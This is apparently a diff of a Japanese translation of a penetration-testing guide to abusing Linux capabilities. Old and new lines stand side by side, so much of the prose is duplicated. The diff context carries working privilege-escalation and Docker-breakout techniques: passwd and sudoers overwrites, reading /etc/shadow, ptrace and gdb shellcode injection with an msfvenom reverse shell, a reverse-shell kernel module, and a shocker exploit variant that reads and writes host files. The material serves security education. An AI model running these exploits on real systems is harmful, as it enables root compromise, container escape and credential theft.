[これ](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7)、[これ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)、および[これ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user)に基づいて、ユーザーに特定の能力を与えるためにいくつかのファイルを新たに設定する必要がありますが、各ユーザーに能力を割り当てるファイルは`/etc/security/capability.conf`です。\
明らかに**ユーザーにも能力を割り当てることが可能です**。これはおそらく、ユーザーによって実行されるすべてのプロセスがそのユーザーの能力を使用できることを意味します。\
[これ](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7)、[これ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)、および[これ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user)に基づいて、ユーザーに特定の能力を与えるためにいくつかのファイルを新たに構成する必要がありますが、各ユーザーに能力を割り当てるファイルは`/etc/security/capability.conf`です。\
ファイルの例:
```bash
# Simple
@ -270,17 +270,17 @@ gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash
```
コンパイルされた環境バイナリによって実行された**bash**内では、**新しい能力**を観察することが可能です(通常のユーザーは「現在」セクションに能力を持っていません)。
コンパイルされた環境バイナリによって実行された**bash**内では、**新しい能力**を観察することができます(通常のユーザーは「現在」セクションに能力を持っていません)。
```bash
capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
```
> [!CAUTION]
> あなたは**許可されたセットと継承可能なセットの両方に存在する**能力のみを追加できます。
> あなたは**許可されたセット****継承可能なセット**の両方に存在する能力のみを追加できます。
### 能力対応/能力無視バイナリ
**能力対応バイナリは、環境によって与えられた新しい能力を使用しません**が、**能力無視バイナリはそれらを使用します**。これは、能力無視バイナリがそれらを拒否しないためです。これにより、特定の環境内でバイナリに能力を付与することができるため、能力無視バイナリ脆弱になります。
**能力対応バイナリは、環境によって与えられた新しい能力を使用しません**が、**能力無視バイナリはそれらを使用します**。これは、能力無視バイナリがそれらを拒否しないためです。これにより、特定の環境内でバイナリに能力を付与することができるため、能力無視バイナリ脆弱になります。
## サービスの能力
@ -329,7 +329,7 @@ getcap -r / 2>/dev/null
```
### Exploitation example
次の例では、バイナリ `/usr/bin/python2.6` が特権昇格に対して脆弱であることが判明しています:
次の例では、バイナリ `/usr/bin/python2.6` が特権昇格に対して脆弱であることがわかります:
```bash
setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep
@ -351,18 +351,18 @@ getcap /usr/sbin/tcpdump
2. `SUID`/`SGID`ビットが設定されていない
3. 空の能力セットが設定されている(例:`getcap myelf``myelf =ep`を返す)
そのバイナリは**rootとして実行されます**。
その**バイナリはrootとして実行されます**。
## CAP_SYS_ADMIN
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)**は非常に強力なLinuxの能力であり、その広範な**管理特権**のためにほぼrootレベルに等しいと見なされます。デバイスのマウントやカーネル機能の操作などが含まれます。全システムをシミュレートするコンテナには不可欠ですが、**`CAP_SYS_ADMIN`は特権昇格やシステムの妥協の可能性があるため、特にコンテナ化された環境では重大なセキュリティ上の課題を引き起こします**。したがって、その使用は厳格なセキュリティ評価と慎重な管理を必要とし、**最小特権の原則**に従って攻撃面を最小限に抑えるために、アプリケーション固有のコンテナではこの能力を削除することが強く推奨されます。
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)**は非常に強力なLinuxの能力であり、その広範な**管理特権**のためにほぼrootレベルに等しいと見なされます。デバイスのマウントやカーネル機能の操作などに使用されます。全システムをシミュレートするコンテナには不可欠ですが、**`CAP_SYS_ADMIN`は特権昇格やシステムの妥協の可能性があるため、特にコンテナ化された環境では重大なセキュリティ上の課題を引き起こします**。したがって、その使用は厳格なセキュリティ評価と慎重な管理を必要とし、**最小特権の原則**に従って攻撃面を最小限に抑えるために、アプリケーション固有のコンテナではこの能力を削除することが強く推奨されます。
**バイナリの例**
```bash
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep
```
Pythonを使用すると、実際の_passwd_ファイルの上に修正された_passwd_ファイルをマウントできます
Pythonを使用して、実際の _passwd_ ファイルの上に修正された _passwd_ ファイルをマウントできます:
```bash
cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
@ -398,7 +398,7 @@ uid=0(root)
gid=0(root)
groups=0(root)
```
以前の出力の中で、SYS_ADMIN権限が有効になっていることがわかります。
以前の出力の中で、SYS_ADMIN権限が有効になっているがわかります。
- **マウント**
@ -416,8 +416,8 @@ chroot ./ bash #You have a shell inside the docker hosts disk
```
- **フルアクセス**
前の方法では、docker ホストのディスクにアクセスすることができました。\
ホストが **ssh** サーバーを実行している場合、**docker ホスト** ディスク内にユーザーを作成し、SSH 経由でアクセスすることができます:
前の方法では、dockerホストのディスクにアクセスすることができました。\
ホストが**ssh**サーバーを実行している場合、**dockerホスト**ディスク内にユーザーを作成し、SSH経由でアクセスすることができます
```bash
#Like in the example before, the first step is to mount the docker host disk
fdisk -l
@ -433,9 +433,9 @@ ssh john@172.17.0.1 -p 2222
```
## CAP_SYS_PTRACE
**これは、ホスト内で実行されているプロセスにシェルコードを注入することでコンテナを脱出できることを意味します。** ホスト内で実行されているプロセスにアクセスするには、コンテナ少なくとも **`--pid=host`** で実行する必要があります。
**これは、ホスト内で実行されているプロセスにシェルコードを注入することでコンテナを脱出できることを意味します。** ホスト内で実行されているプロセスにアクセスするには、コンテナ少なくとも **`--pid=host`** で実行する必要があります。
**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** は、`ptrace(2)` によって提供されるデバッグおよびシステムコールトレース機能を使用する能力を付与し、`process_vm_readv(2)``process_vm_writev(2)` のようなクロスメモリアタッチ呼び出しを可能にします。診断および監視目的には強力ですが、`CAP_SYS_PTRACE``ptrace(2)` に対するセキュリティ制限策seccompフィルターなど)なしで有効になっている場合、システムセキュリティを著しく損なう可能性があります。特に、他のセキュリティ制限、特にseccompによって課せられた制限を回避するために悪用される可能性があり、[このような概念実証PoCによって示されています](https://gist.github.com/thejh/8346f47e359adecd1d53)。
**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** は、`ptrace(2)` によって提供されるデバッグおよびシステムコールトレース機能を使用する能力を付与し、`process_vm_readv(2)``process_vm_writev(2)` のようなクロスメモリアタッチ呼び出しを可能にします。診断および監視目的には強力ですが、`CAP_SYS_PTRACE``ptrace(2)` に対するセキュリティ制限策(例えば seccomp フィルタ)なしで有効になっている場合、システムセキュリティを著しく損なう可能性があります。特に、他のセキュリティ制限、特に seccomp によって課せられた制限を回避するために悪用される可能性があります。これは、[このような概念実証PoC](https://gist.github.com/thejh/8346f47e359adecd1d53)によって示されています
**バイナリを使用した例python**
```bash
@ -529,13 +529,13 @@ print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
```
**バイナリ例 (gdb)**
**バイナリを使った例 (gdb)**
`gdb``ptrace` 権限:
```
/usr/bin/gdb = cap_sys_ptrace+ep
```
msfvenomを使用して、gdbを介してメモリに注入するシェルコードを作成します。以下のコマンドを使用します。
msfvenomを使用して、gdbを介してメモリに注入するシェルコードを作成します。以下のコマンドを使用して、シェルコードを生成できます。
```bash
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f c
@ -588,9 +588,9 @@ Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]
```
**環境を使った例 (Dockerブレイクアウト) - 別のgdbの悪用**
**環境例 (Dockerブレイクアウト) - 別のgdbの悪用**
もし**GDB**がインストールされている場合(または`apk add gdb``apt install gdb`でインストールできます)、**ホストからプロセスをデバッグ**し、`system`関数を呼び出すことができます。(この技術は`SYS_ADMIN`権限も必要です)**。**
**GDB** がインストールされている場合(または `apk add gdb` `apt install gdb` でインストールできます)、**ホストからプロセスをデバッグ**し、`system` 関数を呼び出すことができます。(この技術は `SYS_ADMIN` 権限も必要です)**。**
```bash
gdb -p 1234
(gdb) call (void)system("ls")
@ -622,12 +622,12 @@ groups=0(root
1. **アーキテクチャ** を取得 `uname -m`
2. アーキテクチャ用の **シェルコード** を見つける ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
3. プロセスメモリに **シェルコード****注入** するための **プログラム** を見つける ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c))
4. プログラム内の **シェルコード****修正** し、**コンパイル** する `gcc inject.c -o inject`
5. **注入** **シェル** を取得する: `./inject 299; nc 172.17.0.1 5600`
4. プログラム内の **シェルコード****修正** し、 **コンパイル** する `gcc inject.c -o inject`
5. **注入** **シェル** を取得する: `./inject 299; nc 172.17.0.1 5600`
## CAP_SYS_MODULE
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** は、プロセス**カーネルモジュールをロードおよびアンロードすることを可能にします (`init_module(2)`, `finit_module(2)` および `delete_module(2)` システムコール)**。これにより、カーネルのコア操作に直接アクセスできます。この機能は重大なセキュリティリスクをもたらし、特権昇格やシステム全体の危険にさらされる可能性があります。カーネルを変更することを可能にし、Linuxのセキュリティメカニズム、Linux Security Modulesやコンテナの隔離を回避します。
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** は、プロセス**カーネルモジュールをロードおよびアンロードする権限を与えます(`init_module(2)`、`finit_module(2)`、および `delete_module(2)` システムコール)**。これにより、カーネルのコア操作に直接アクセスできます。この機能は重大なセキュリティリスクをもたらし、特権昇格やシステム全体の危険にさらされる可能性があります。カーネルを変更することを可能にし、Linuxのセキュリティメカニズムやコンテナの隔離をすべて回避します。
**これは、ホストマシンのカーネルにカーネルモジュールを挿入/削除できることを意味します。**
**バイナリの例**
@ -637,13 +637,13 @@ groups=0(root
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep
```
デフォルトでは、**`modprobe`** コマンドは **`/lib/modules/$(uname -r)`** ディレクトリ内の依存関係リストとマップファイルをチェックします。\
これを悪用するために、**lib/modules** フォルダーを作成しましょう:
デフォルトでは、**`modprobe`** コマンドはディレクトリ **`/lib/modules/$(uname -r)`** 内の依存関係リストとマップファイルをチェックします。\
これを悪用するために、フェイク**lib/modules** フォルダーを作成しましょう:
```bash
mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)
```
次に、**カーネルモジュールをコンパイルし、以下に2つの例を見つけて、このフォルダーにコピーしてください**
次に、**カーネルモジュールをコンパイルし、以下に2つの例を見つけて、このフォルダーにコピーしてください**:
```bash
cp reverse-shell.ko lib/modules/$(uname -r)/
```
@ -661,9 +661,9 @@ km.modprobe("reverse-shell")
getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep
```
これは、**`insmod`** コマンドを使用してカーネルモジュールを挿入できることを意味します。この特権を悪用して **reverse shell** を取得するために、以下の例に従ってください。
**`insmod`** コマンドを使用してカーネルモジュールを挿入することが可能であることを意味します。この特権を悪用して **reverse shell** を取得するために、以下の例に従ってください。
**環境の例 (Docker ブレイクアウト)**
**環境の例 (Docker breakout)**
Docker コンテナ内で有効な能力を確認するには、次のコマンドを使用します:
```bash
@ -718,8 +718,8 @@ make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
> Makefile内の各make単語の前の空白文字は**スペースではなくタブ**でなければなりません!
`make`を実行してコンパイルします。
```
ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
```bash
Make[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
sudo apt update
sudo apt full-upgrade
@ -738,7 +738,7 @@ insmod reverse-shell.ko #Launch the reverse shell
## CAP_DAC_READ_SEARCH
[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) は、プロセスが**ファイルの読み取りおよびディレクトリの読み取りと実行のための権限をバイパスする**ことを可能にします。その主な用途はファイル検索または読み取りの目的です。しかし、これによりプロセスは `open_by_handle_at(2)` 関数を使用でき、プロセスのマウントネームスペースの外にあるファイルを含む任意のファイルにアクセスできます。`open_by_handle_at(2)` で使用されるハンドルは、`name_to_handle_at(2)` を通じて取得された非透明な識別子であるべきですが、改ざんに脆弱なinode番号などの機密情報を含む可能性があります。この能力の悪用の可能性、特にDockerコンテナの文脈において、Sebastian Krahmerによってショッカーエクスプロイトで示されました。詳細は[こちら](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3)で分析されています。
[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) は、プロセスが**ファイルの読み取りおよびディレクトリの読み取りと実行のための権限をバイパスする**ことを可能にします。その主な用途はファイル検索または読み取りの目的です。しかし、これによりプロセスは `open_by_handle_at(2)` 関数を使用でき、プロセスのマウントネームスペースの外にあるファイルを含む任意のファイルにアクセスできます。`open_by_handle_at(2)` で使用されるハンドルは、`name_to_handle_at(2)` を通じて取得された非透明な識別子であるべきですが、改ざんに脆弱なinode番号のような機密情報を含む可能性があります。この能力の悪用の可能性、特にDockerコンテナの文脈において、Sebastian Krahmerによってショッカーエクスプロイトで示されました。詳細は[こちら](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3)で分析されています。
**これは、ファイルの読み取り権限チェックとディレクトリの読み取り/実行権限チェックをバイパスできることを意味します。**
**バイナリの例**
@ -759,7 +759,7 @@ for r, d, f in os.walk('/root'):
for filename in f:
print(filename)
```
ファイルを読むためには、次のようにできます
ファイルを読むためには、次のようにできます:
```python
print(open("/etc/shadow", "r").read())
```
@ -778,11 +778,11 @@ uid=0(root)
gid=0(root)
groups=0(root)
```
前の出力の中で、**DAC_READ_SEARCH** 権限が有効になっていることがわかります。その結果、コンテナは **プロセスのデバッグ** が可能です。
前の出力で、**DAC_READ_SEARCH**権限が有効になっていることがわかります。その結果、コンテナは**プロセスのデバッグ**が可能です。
次のエクスプロイトの仕組みについては [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) で学ぶことができますが、要約すると **CAP_DAC_READ_SEARCH** は、許可チェックなしでファイルシステムを横断することを可能にするだけでなく、_**open_by_handle_at(2)**_ に対するチェックを明示的に削除し、**他のプロセスによって開かれた機密ファイルに対して私たちのプロセスがアクセスできる可能性がある** ということです。
次のエクスプロイトの仕組みについては[https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3)で学ぶことができますが、要約すると**CAP_DAC_READ_SEARCH**は、許可チェックなしでファイルシステムを横断することを可能にするだけでなく、_**open_by_handle_at(2)**_へのチェックを明示的に削除し、**他のプロセスによって開かれた機密ファイルに私たちのプロセスがアクセスできる可能性がある**ということです。
この権限を悪用してホストからファイルを読み取る元のエクスプロイトはここにあります: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c)。以下は、**読み取りたいファイルを最初の引数として指定し、それをファイルにダンプすることを可能にする修正バージョンです。**
この権限を悪用してホストからファイルを読み取る元のエクスプロイトはここにあります: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c)。以下は、読み取りたいファイルを最初の引数として指定し、それをファイルにダンプすることを可能にする**修正バージョン**です。
```c
#include <stdio.h>
#include <sys/types.h>
@ -956,15 +956,15 @@ vim /etc/sudoers #To overwrite it
```
**Example with binary 2**
In this example **`python`** バイナリはこの能力を持ちます。あなたはpythonを使って任意のファイルを上書きすることができます
この例では、**`python`** バイナリはこの能力を持ちます。あなたは python を使用して任意のファイルを上書きすることができます:
```python
file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()
```
**環境 + CAP_DAC_READ_SEARCH (Docker ブレイクアウト) の例**
**環境 + CAP_DAC_READ_SEARCH (Dockerブレイクアウト)の例**
Docker コンテナ内で有効な能力を確認するには、次のコマンドを使用します:
Dockerコンテナ内で有効な能力を確認するには、次のコマンドを使用します:
```bash
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
@ -977,7 +977,7 @@ uid=0(root)
gid=0(root)
groups=0(root)
```
まず最初に、ホストの[**DAC_READ_SEARCH能力を悪用して任意のファイルを読み取る**](linux-capabilities.md#cap_dac_read_search)という前のセクションを読んで、**エクスプロイトをコンパイル**してください。\
まず最初に、ホストの[**DAC_READ_SEARCH能力を悪用して任意のファイルを読み取る**](linux-capabilities.md#cap_dac_read_search)という前のセクションを読、**エクスプロイトをコンパイル**してください。\
次に、ホストのファイルシステム内に**任意のファイルを書き込む**ことを可能にする**次のバージョンのショッカーエクスプロイトをコンパイル**してください:
```c
#include <stdio.h>
@ -1183,17 +1183,17 @@ find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
```
ファイルを見つけて(読み取りまたは書き込みを通じて)特権を昇格させることができる場合、次のコマンドを使用して**興味深いグループを偽装したシェルを取得**できます:
ファイルを見つけて(読み取りまたは書き込みを通じて)特権を昇格させることができる場合、次のコマンドを使用して**興味のあるグループを偽装したシェルを取得**できます:
```python
import os
os.setgid(42)
os.system("/bin/bash")
```
この場合、グループshadowが偽装されたため、ファイル`/etc/shadow`を読むことができます:
この場合、グループshadowがなりすましされているため、ファイル`/etc/shadow`を読むことができます:
```bash
cat /etc/shadow
```
もし**docker**がインストールされている場合、**dockerグループ**を**なりすまし**、それを利用して[**dockerソケット**と特権を昇格させる](#writable-docker-socket)ことができます。
もし**docker**がインストールされている場合、**docker group**を**なりすます**ことができ、[**docker socket**と特権を昇格させる](#writable-docker-socket)ためにそれを悪用することができます。
## CAP_SETFCAP
@ -1201,7 +1201,7 @@ cat /etc/shadow
**バイナリの例**
もしpythonがこの**能力**を持っている場合、特権をrootに昇格させるために非常に簡単にそれを悪用できます:
もしpythonがこの**能力**を持っている場合、特権をrootに昇格させるためにそれを非常に簡単に悪用することができます:
```python:setcapability.py
import ctypes, sys
@ -1231,11 +1231,11 @@ python setcapability.py /usr/bin/python2.7
> [!WARNING]
> 新しい能力をバイナリにCAP_SETFCAPで設定すると、この能力を失うことに注意してください。
[SETUID capability](linux-capabilities.md#cap_setuid)を持っていると、特権を昇格させる方法を見るためにそのセクションに移動できます。
[SETUID capability](linux-capabilities.md#cap_setuid)を取得すると、そのセクションに移動して特権を昇格させる方法を確認できます。
**環境の例Dockerブレイクアウト**
デフォルトでは、能力**CAP_SETFCAPはDocker内のコンテナ内のプロセスに与えられます**。これを確認するには、次のようなことを行うことができます:
デフォルトでは、能力**CAP_SETFCAPはDocker内のプロセスに与えられます**。これを確認するには、次のようなことを行います:
```bash
cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
@ -1248,7 +1248,7 @@ capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
```
この能力は**バイナリに他の任意の能力を与える**ことを可能にするため、私たちはこのページで言及されている**他の能力のブレイクアウトを悪用して**コンテナから**脱出**することを考えることができます。\
しかし、例えばgdbバイナリにCAP_SYS_ADMINとCAP_SYS_PTRACEの能力を与えようとすると、それらを与えることはできますが、**バイナリはその後実行できなくなります**:
しかし、例えばgdbバイナリにCAP_SYS_ADMINとCAP_SYS_PTRACEの能力を与えようとすると、それらを与えることはできますが、**この後バイナリは実行できなくなります**:
```bash
getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip
@ -1258,17 +1258,17 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted
```
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: これはスレッドが仮定できる有効な能力の**制限されたスーパーセット**です。また、**CAP_SETPCAP**能力を有効なセットに持たないスレッドによって継承可能なセットに追加できる能力の制限されたスーパーセットでもあります。_\
Permitted capabilitiesは使用できる能力を制限しているようです。\
しかし、Dockerはデフォルトで**CAP_SETPCAP**も付与するため、**継承可能な能力の中に新しい能力を設定できるかもしれません**。\
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: これはスレッドが仮定できる**有効な能力の制限されたスーパーセット**です。また、**CAP_SETPCAP**能力を有効なセットに持たないスレッドによって継承可能なセットに追加できる能力の制限されたスーパーセットでもあります。_\
Permitted capabilitiesは使用できるものを制限しているようです。\
しかし、Dockerはデフォルトで**CAP_SETPCAP**も付与するため、**継承可能なものの中に新しい能力を設定できるかもしれません**。\
しかし、この能力のドキュメントには次のように記載されています: _CAP_SETPCAP : \[…] **呼び出しスレッドのバウンディング**セットからその継承可能なセットに任意の能力を追加します。_\
つまり、**新しい能力をCAP_SYS_ADMINやCAP_SYS_PTRACEのように継承セットに追加することはできず、特権を昇格させることはできません**
つまり、**CAP_SYS_ADMINやCAP_SYS_PTRACEのような新しい能力を継承セットに追加することはできない**ということです
## CAP_SYS_RAWIO
[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html)は、`/dev/mem``/dev/kmem``/proc/kcore`へのアクセス、`mmap_min_addr`の変更、`ioperm(2)`および`iopl(2)`システムコールへのアクセス、さまざまなディスクコマンドを含む多くのセンシティブな操作を提供します。この能力を介して`FIBMAP ioctl(2)`も有効になっており、これは[過去に問題を引き起こした](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html)ことがあります。マニュアルページによれば、これにより保持者は他のデバイスに対して**デバイス固有の操作を実行することができます**
[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html)は、`/dev/mem``/dev/kmem`または`/proc/kcore`へのアクセス、`mmap_min_addr`の変更、`ioperm(2)`および`iopl(2)`システムコールへのアクセス、さまざまなディスクコマンドを含む多くのセンシティブな操作を提供します。この能力を介して`FIBMAP ioctl(2)`も有効になっており、[過去に問題を引き起こした](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html)ことがあります。マニュアルページによれば、これにより保持者は他のデバイスに対して**デバイス固有の操作を実行する**ことができます。
これは**特権昇格**や**Dockerブレイクアウト**に役立つ可能性があります。
これは**特権昇格**や**Dockerブレイクアウト**に役立ます。
## CAP_KILL
@ -1276,7 +1276,7 @@ Permitted capabilitiesは使用できる能力を制限しているようです
**バイナリの例**
**`python`**バイナリがこの能力を持っていると仮定しましょう。もし**サービスやソケットの設定**(またはサービスに関連する任意の設定ファイル)を変更できるなら、バックドアを仕掛け、そのサービスに関連するプロセスを終了させて、新しい設定ファイルがバックドアと共に実行されるのを待つことができます。
**`python`**バイナリがこの能力を持っていると仮定しましょう。もし**サービスやソケットの設定**(またはサービスに関連する任意の設定ファイル)を変更できるなら、バックドアを仕掛け、そのサービスに関連するプロセスを終了させて、新しい設定ファイルがバックドア実行されるのを待つことができます。
```python
#Use this python code to kill arbitrary processes
import os
@ -1286,7 +1286,7 @@ os.killpg(pgid, signal.SIGKILL)
```
**Privesc with kill**
もしあなたが kill 権限を持っていて、**root として実行されている node プログラム**(または別のユーザーとして) がある場合、あなたはおそらく **SIGUSR1 シグナルを送信**して、それを **node デバッガーを開かせる**ことができ、そこに接続することができます
もしあなたがkill権限を持っていて、**rootとして実行されているnodeプログラム**(または別のユーザーとして)を見つけた場合、**SIGUSR1信号**を送信して、**nodeデバッガー**を開かせることができるかもしれません
```bash
kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
@ -1295,14 +1295,13 @@ kill -s SIGUSR1 <nodejs-ps>
electron-cef-chromium-debugger-abuse.md
{{#endref}}
## CAP_NET_BIND_SERVICE
**これは、任意のポート(特権ポートを含む)でリッスンできることを意味します。** この能力を使って直接特権を昇格させることはできません。
**これは、特権ポートを含む任意のポートでリッスンできることを意味します。** この能力を使って直接特権を昇格させることはできません。
**バイナリの例**
もし**`python`**がこの能力を持っていれば、任意のポートでリッスンでき、さらにそこから他のポートに接続することもできます(いくつかのサービスは特定の特権ポートからの接続を必要とします)
もし**`python`**がこの能力を持っていれば、任意のポートでリッスンでき、さらにそこから他のポートに接続することもできます(いくつかのサービスは特定の特権ポートからの接続を必要とします)
{{#tabs}}
{{#tab name="Listen"}}
@ -1330,7 +1329,7 @@ s.connect(('10.10.10.10',500))
## CAP_NET_RAW
[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 権限はプロセスが **RAW および PACKET ソケットを作成** ることを許可し、任意のネットワークパケットを生成および送信できるようにします。これにより、パケットの偽装、トラフィックの注入、ネットワークアクセス制御の回避など、コンテナ化された環境におけるセキュリティリスクが生じる可能性があります。悪意のある行為者は、これを利用してコンテナのルーティングに干渉したり、特に適切なファイアウォール保護がない場合にホストのネットワークセキュリティを侵害する可能性があります。さらに、**CAP_NET_RAW** は、RAW ICMP リクエストを介して ping などの操作をサポートするために特権コンテナにとって重要です。
[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 権限はプロセスが **RAW および PACKET ソケットを作成** できることを許可し、任意のネットワークパケットを生成および送信できるようにします。これにより、パケットの偽装、トラフィックの注入、ネットワークアクセス制御の回避など、コンテナ化された環境におけるセキュリティリスクが生じる可能性があります。悪意のある行為者は、これを利用してコンテナのルーティングに干渉したり、特に適切なファイアウォール保護がない場合にホストのネットワークセキュリティを侵害する可能性があります。さらに、**CAP_NET_RAW** は、RAW ICMP リクエストを介して ping などの操作をサポートするために特権コンテナにとって重要です。
**これは、トラフィックをスニッフィングすることが可能であることを意味します。** この権限を使用して直接特権を昇格させることはできません。
@ -1391,11 +1390,11 @@ count=count+1
```
## CAP_NET_ADMIN + CAP_NET_RAW
[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 権限は、保持者に **ネットワーク設定を変更する** 力を与えます。これには、ファイアウォール設定、ルーティングテーブル、ソケットの権限、および公開されたネットワーク名前空間内のネットワークインターフェース設定が含まれます。また、ネットワークインターフェースで **プロミスキャスモード** を有効にし、名前空間を越えたパケットスニッフィングを可能にします。
[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 権限は、保持者に **ネットワーク設定を変更する** 権限を付与します。これには、ファイアウォール設定、ルーティングテーブル、ソケットの権限、および公開されたネットワーク名前空間内のネットワークインターフェース設定が含まれます。また、ネットワークインターフェースで **プロミスキャスモード** を有効にし、名前空間を越えたパケットスニッフィングを可能にします。
**バイナリの例**
**pythonバイナリ** がこれらの権限を持っていると仮定しましょう。
**python バイナリ** がこれらの権限を持っていると仮定しましょう。
```python
#Dump iptables filter table rules
import iptc
@ -1436,7 +1435,7 @@ fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)
f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')
```
> [!NOTE]
> [!TIP]
> 通常、この不変属性は次のように設定および削除されます:
>
> ```bash
@ -1457,32 +1456,32 @@ f.write('New content for the file\n')
## CAP_SYSLOG
[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) は、Linux 2.6.37 でより広範な **CAP_SYS_ADMIN** から分離され、`syslog(2)` コールを使用する能力を特に付与しました。この機能により、`kptr_restrict` 設定が 1 の場合`/proc` や類似のインターフェースを介してカーネルアドレスを表示することが可能になります。Linux 2.6.39 以降、`kptr_restrict` のデフォルトは 0 であり、カーネルアドレスが公開されますが、多くのディストリビューションはセキュリティ上の理由からこれを 1uid 0 以外からアドレスを隠す)または 2常にアドレスを隠すに設定しています。
[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) は、Linux 2.6.37 でより広範な **CAP_SYS_ADMIN** から分離され、`syslog(2)` コールを使用する能力を特に付与しました。この機能により、`kptr_restrict` 設定が 1 のとき`/proc` や類似のインターフェースを介してカーネルアドレスを表示することが可能になります。Linux 2.6.39 以降、`kptr_restrict` のデフォルトは 0 であり、カーネルアドレスが公開されますが、多くのディストリビューションはセキュリティ上の理由からこれを 1uid 0 以外からアドレスを隠す)または 2常にアドレスを隠すに設定しています。
さらに、**CAP_SYSLOG** は、`dmesg_restrict` が 1 に設定されている場合`dmesg` 出力にアクセスすることを許可します。これらの変更にもかかわらず、**CAP_SYS_ADMIN** は歴史的な前例により `syslog` 操作を実行する能力を保持しています。
さらに、**CAP_SYSLOG** は、`dmesg_restrict` が 1 に設定されているとき`dmesg` 出力にアクセスすることを許可します。これらの変更にもかかわらず、**CAP_SYS_ADMIN** は歴史的な前例により `syslog` 操作を実行する能力を保持しています。
## CAP_MKNOD
